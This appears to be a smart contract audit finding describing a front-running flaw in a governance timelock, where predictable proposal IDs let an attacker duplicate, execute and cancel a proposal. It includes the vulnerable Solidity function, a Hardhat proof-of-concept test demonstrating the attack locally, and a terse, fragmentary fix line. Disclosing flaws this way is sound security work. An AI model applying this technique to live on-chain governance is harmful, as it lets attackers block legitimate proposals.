Summary
The proposal execution mechanism is vulnerable to front-running, where an attacker can duplicate and execute an identical proposal first, causing the original proposal to revert. This occurs because the proposal salt is generated solely from the description, making proposal IDs predictable.
Affected Code: TimelockController::scheduleBatch
Vulnerability Details
In the scheduleBatch
function, the proposal ID is created using hashOperationBatch
, which incorporates the hash of the proposal description as the salt. Since the description is public on-chain and logged in events, an attacker can replicate the proposal, secure votes, and execute it first, causing the legitimate proposal to fail due to a hash collision. Additionally, after executing their proposal first, the attacker can cancel their own proposal, effectively front-running and blocking the user's proposal.
Affected Function
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) external override onlyRole(PROPOSER_ROLE) returns (bytes32) {
if (targets.length == 0 || targets.length != values.length || targets.length != calldatas.length) {
revert InvalidTargetCount();
}
if (delay < _minDelay || delay > _maxDelay) {
revert InvalidDelay(delay);
}
if (predecessor != bytes32(0)) {
if (!isOperationDone(predecessor) && !isOperationPending(predecessor)) {
revert PredecessorNotExecuted(predecessor);
}
}
bytes32 id = hashOperationBatch(targets, values, calldatas, predecessor, salt);
if (_operations[id].timestamp != 0) revert OperationAlreadyScheduled(id);
uint256 timestamp = block.timestamp + delay;
_operations[id] = Operation({
timestamp: timestamp.toUint64(),
executed: false
});
emit OperationScheduled(id, targets, values, calldatas, predecessor, salt, delay);
return id;
}
Proof of Concept (PoC)
The test below demonstrates the exploit. Paste the following code into the Governance.test.js
file.
describe("Front-running Attacks", () => {
it.only("should demonstrate proposal front-running vulnerability", async () => {
await veToken.mock_setInitialVotingPower(
await user1.getAddress(),
ethers.parseEther("2000000")
);
await veToken.mock_setInitialVotingPower(
await user2.getAddress(),
ethers.parseEther("2000000")
);
await veToken.mock_setInitialVotingPower(
await users[0].getAddress(),
ethers.parseEther("2000000")
);
const startTime = await moveToNextTimeframe();
const targets = [await testTarget.getAddress()];
const values = [0];
const calldatas = [testTarget.interface.encodeFunctionData("setValue", [42])];
const description = "Set value to 42";
const userTx = await governance.connect(user1).propose(
targets,
values,
calldatas,
description,
0
);
const userReceipt = await userTx.wait();
const userEvent = userReceipt.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const userProposalId = userEvent.args.proposalId;
const attackerTx = await governance.connect(user2).propose(
targets,
values,
calldatas,
description,
0
);
const attackerReceipt = await attackerTx.wait();
const attackerEvent = attackerReceipt.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const attackerProposalId = attackerEvent.args.proposalId;
await time.increase(VOTING_DELAY);
await network.provider.send("evm_mine");
expect(await governance.state(userProposalId)).to.equal(ProposalState.Active);
expect(await governance.state(attackerProposalId)).to.equal(ProposalState.Active);
await governance.connect(user1).castVote(userProposalId, true);
await governance.connect(user2).castVote(attackerProposalId, true);
await governance.connect(users[0]).castVote(userProposalId, true);
await governance.connect(users[0]).castVote(attackerProposalId, true);
await time.increaseTo(startTime + VOTING_DELAY + VOTING_PERIOD);
await network.provider.send("evm_mine");
expect(await governance.state(userProposalId)).to.equal(ProposalState.Succeeded);
expect(await governance.state(attackerProposalId)).to.equal(ProposalState.Succeeded);
await governance.connect(user2).execute(attackerProposalId);
expect(await governance.state(attackerProposalId)).to.equal(ProposalState.Queued);
await expect(governance.connect(user1).execute(userProposalId))
.to.be.reverted;
await time.increase(await timelock.getMinDelay());
await network.provider.send("evm_mine");
await governance.connect(user2).cancel(attackerProposalId);
expect(await governance.state(attackerProposalId)).to.equal(ProposalState.Canceled);
});
});
Impact
An attacker can front-run, execute, and then cancel their identical proposal, effectively blocking the legitimate user's proposal and compromising governance integrity.
Tools Used
Recommendations
descriptionHash: keccak256(bytes(description), msg.sender),